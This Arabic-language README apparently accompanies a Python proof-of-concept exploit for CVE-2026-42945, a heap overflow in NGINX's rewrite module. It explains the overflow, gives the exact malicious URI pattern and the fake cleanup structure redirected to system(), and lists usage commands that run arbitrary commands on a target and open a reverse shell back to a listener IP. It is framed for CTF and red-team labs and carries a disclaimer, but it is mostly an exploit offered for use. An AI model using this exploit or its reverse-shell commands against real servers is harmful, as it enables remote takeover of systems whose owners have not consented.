
إثبات مفهوم (PoC) بلغة Python لتنفيذ التعليمات البرمجية عن بُعد (RCE) مع مستمع شل عكسي لثغرة CVE-2026-42945 (NGINX Rift)
إثبات مفهوم لتنفيذ الأكواد عن بُعد للثغرة CVE-2026-42945، وهي تجاوز سعة للمخزن المؤقت في الكومة (heap buffer overflow) في وحدة ngx_http_rewrite_module الخاصة بـ NGINX. يوسّع هذا الفرع (fork) إثبات المفهوم العام المُشغِّل (trigger PoC) بإضافة مستمع قشرة عكسية مدمج ومعاملات استغلال قابلة للضبط لبيئات CTF والمختبرات المعزولة.
ngx_http_rewrite_module0.6.27 – 1.30.0؛ NGINX Plus R32 – R361.30.1 / 1.31.0؛ NGINX Plus R36 P4, R35 P2, R32 P6is_args = 0، بينما تعمل تمريرة النسخ على المحرك الرئيسي بقيمة is_args = 1، مما يستدعي ngx_escape_uri(..., NGX_ESCAPE_ARGS). تتوسّع البايتات القابلة للتهريب إلى 3 بايتات لكل منها، مما يسبب تجاوز سعة مخزن مؤقت في الكومة أصغر من الحجم المطلوب ببيانات URI يتحكم بها المهاجم.rewrite/set قابل للاستغلال يستخدم التقاطات PCRE غير المسماة ($1, $2) مع ? في سلسلة الاستبدال؛ تعطيل ASLR أو وجود عناوين قاعدة معروفة للكومة/libc؛ القدرة على رشّ الكومة (heap spray) عبر أجسام طلبات POST.| الملف | الوصف |
|---|---|
cve_2026_42945_rce_poc.py | استغلال بلغة Python مع مستمع قشرة عكسية مدمج وأوضاع لتنفيذ الأوامر. |
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--cmd "id > /tmp/pwned"
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--shell-type python \
--listen-ip 10.0.0.1 \
--listen-port 1337
python3 cve_2026_42945_rce_poc.py \
--host 10.0.0.5 \
--port 80 \
--shell \
--listen-ip 10.0.0.1 \
--listen-port 1337 \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000 \
--system-offset 0x50d70
ngx_pool_cleanup_s مزيفة: system@libc | مؤشر إلى الأمر | null. تشغل هذه الأجسام مواقع كومة مستقرة.rewrite قابلة للاستغلال. نمط URI هو:
/api/<349 x 'A'><969 x '+'><6-byte heap address>
cleanup لبنية ngx_pool_t مجاورة.cleanup المُفسد system(command)، مما ينفذ الأمر الذي يتحكم به المهاجم داخل عملية عامل NGINX.--shell، يكون الأمر عبارة عن حمولة قشرة عكسية ويلتقط المستمع المدمج الاتصال الوارد.هذه الأداة مخصصة لـ:
لا تستخدمها على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
استخدمها على مسؤوليتك الخاصة. المؤلف غير مسؤول عن أي استخدام غير مصرح به أو غير قانوني.
البحث الأصلي عن الثغرة وإثبات المفهوم بواسطة depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift). تم إنشاء هذا الفرع (fork) للقشرة العكسية بلغة Python لاستخدام مختبرات الفريق الأحمر / تمارين CTF.